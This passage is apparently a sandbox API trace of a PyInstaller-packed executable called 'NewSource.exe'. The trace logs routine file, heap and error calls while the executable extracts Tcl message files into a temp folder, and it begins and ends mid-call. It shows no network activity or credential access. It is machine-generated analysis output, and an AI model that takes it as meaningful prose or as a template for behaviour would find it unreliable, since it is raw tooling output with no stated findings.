dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.145] GetFileType (hFile=0x10c) returned 0x1 [0037.145] htonl (hostlong=0x9c040000) returned 0x49c [0037.145] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.145] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x49c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x49c, lpOverlapped=0x0) returned 1 [0037.146] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.146] CloseHandle (hObject=0x10c) returned 1 [0037.147] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550780 | out: hHeap=0x530000) returned 1 [0037.147] htonl (hostlong=0x30000000) returned 0x30 [0037.147] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.147] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.147] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.147] GetFileType (hFile=0x10c) returned 0x1 [0037.147] htonl (hostlong=0x5a4b5700) returned 0x574b5a [0037.147] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bfb5a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.147] htonl (hostlong=0x98000000) returned 0x98 [0037.147] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x98) returned 0x55cfe0 [0037.147] htonl (hostlong=0x98000000) returned 0x98 [0037.147] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.147] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.147] htonl (hostlong=0xf2000000) returned 0xf2 [0037.147] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf2) returned 0x550600 [0037.147] htonl (hostlong=0x98000000) returned 0x98 [0037.147] htonl (hostlong=0xf2000000) returned 0xf2 [0037.147] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.147] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.147] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.148] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.148] CloseHandle (hObject=0x10c) returned 1 [0037.148] GetLastError () returned 0x0 [0037.148] SetLastError (dwErrCode=0x0) [0037.148] GetLastError () returned 0x0 [0037.148] SetLastError (dwErrCode=0x0) [0037.148] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.148] GetFileType (hFile=0x10c) returned 0x1 [0037.148] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.148] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.148] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.148] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.148] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.148] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.148] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.148] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.148] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.148] CloseHandle (hObject=0x10c) returned 1 [0037.148] GetLastError () returned 0x0 [0037.148] SetLastError (dwErrCode=0x0) [0037.148] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.149] GetFileType (hFile=0x10c) returned 0x1 [0037.149] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.149] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.149] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.149] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.149] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.149] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.149] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.149] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.149] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.149] CloseHandle (hObject=0x10c) returned 1 [0037.149] GetLastError () returned 0x0 [0037.149] SetLastError (dwErrCode=0x0) [0037.149] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ar.msg") returned 64 [0037.149] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ar.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_ar.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.149] GetLastError () returned 0x2 [0037.149] SetLastError (dwErrCode=0x2) [0037.149] GetLastError () returned 0x2 [0037.149] SetLastError (dwErrCode=0x2) [0037.149] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ar.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ar.msg", lpFilePart=0x0) returned 0x3f [0037.149] GetLastError () returned 0x2 [0037.149] SetLastError (dwErrCode=0x2) [0037.149] GetLastError () returned 0x2 [0037.149] SetLastError (dwErrCode=0x2) [0037.149] GetLastError () returned 0x2 [0037.149] SetLastError (dwErrCode=0x2) [0037.149] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ar.msg") returned 64 [0037.149] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.150] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ar.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_ar.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.150] GetFileType (hFile=0x10c) returned 0x1 [0037.150] htonl (hostlong=0xf2000000) returned 0xf2 [0037.150] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.150] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xf2, lpOverlapped=0x0) returned 1 [0037.151] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.151] CloseHandle (hObject=0x10c) returned 1 [0037.151] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.151] htonl (hostlong=0x30000000) returned 0x30 [0037.151] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.151] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.151] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.152] GetFileType (hFile=0x10c) returned 0x1 [0037.152] htonl (hostlong=0xf24b5700) returned 0x574bf2 [0037.152] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bfbf2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.152] htonl (hostlong=0x9f000000) returned 0x9f [0037.152] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.152] htonl (hostlong=0x9f000000) returned 0x9f [0037.152] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.152] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.152] htonl (hostlong=0xfb000000) returned 0xfb [0037.152] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.152] htonl (hostlong=0x9f000000) returned 0x9f [0037.152] htonl (hostlong=0xfb000000) returned 0xfb [0037.152] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.152] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.152] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.152] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.152] CloseHandle (hObject=0x10c) returned 1 [0037.152] GetLastError () returned 0x0 [0037.152] SetLastError (dwErrCode=0x0) [0037.152] GetLastError () returned 0x0 [0037.152] SetLastError (dwErrCode=0x0) [0037.152] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.152] GetFileType (hFile=0x10c) returned 0x1 [0037.152] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.152] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.152] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.153] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.153] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.153] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.153] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.153] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.153] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.153] CloseHandle (hObject=0x10c) returned 1 [0037.153] GetLastError () returned 0x0 [0037.153] SetLastError (dwErrCode=0x0) [0037.153] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.153] GetFileType (hFile=0x10c) returned 0x1 [0037.153] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.153] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.153] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.153] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.153] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.153] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.153] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.153] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.153] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.153] CloseHandle (hObject=0x10c) returned 1 [0037.153] GetLastError () returned 0x0 [0037.154] SetLastError (dwErrCode=0x0) [0037.154] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_bo.msg") returned 64 [0037.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_bo.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_bo.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.154] GetLastError () returned 0x2 [0037.154] SetLastError (dwErrCode=0x2) [0037.154] GetLastError () returned 0x2 [0037.154] SetLastError (dwErrCode=0x2) [0037.154] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_bo.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_bo.msg", lpFilePart=0x0) returned 0x3f [0037.154] GetLastError () returned 0x2 [0037.154] SetLastError (dwErrCode=0x2) [0037.154] GetLastError () returned 0x2 [0037.154] SetLastError (dwErrCode=0x2) [0037.154] GetLastError () returned 0x2 [0037.154] SetLastError (dwErrCode=0x2) [0037.154] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_bo.msg") returned 64 [0037.154] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_bo.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_bo.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.154] GetFileType (hFile=0x10c) returned 0x1 [0037.154] htonl (hostlong=0xfb000000) returned 0xfb [0037.154] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.154] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.155] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.155] CloseHandle (hObject=0x10c) returned 1 [0037.156] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.156] htonl (hostlong=0x30000000) returned 0x30 [0037.156] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.156] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.156] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.156] GetFileType (hFile=0x10c) returned 0x1 [0037.156] htonl (hostlong=0x914c5700) returned 0x574c91 [0037.156] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bfc91, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.156] htonl (hostlong=0x9f000000) returned 0x9f [0037.156] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.156] htonl (hostlong=0x9f000000) returned 0x9f [0037.156] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.156] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.156] htonl (hostlong=0xfb000000) returned 0xfb [0037.156] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.156] htonl (hostlong=0x9f000000) returned 0x9f [0037.157] htonl (hostlong=0xfb000000) returned 0xfb [0037.157] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.157] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.157] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.157] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.157] CloseHandle (hObject=0x10c) returned 1 [0037.157] GetLastError () returned 0x0 [0037.157] SetLastError (dwErrCode=0x0) [0037.157] GetLastError () returned 0x0 [0037.157] SetLastError (dwErrCode=0x0) [0037.157] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.157] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.157] GetFileType (hFile=0x10c) returned 0x1 [0037.157] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.157] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.157] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.157] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.157] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.157] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.157] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.157] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.158] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.158] CloseHandle (hObject=0x10c) returned 1 [0037.158] GetLastError () returned 0x0 [0037.158] SetLastError (dwErrCode=0x0) [0037.158] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.158] CreateFileW 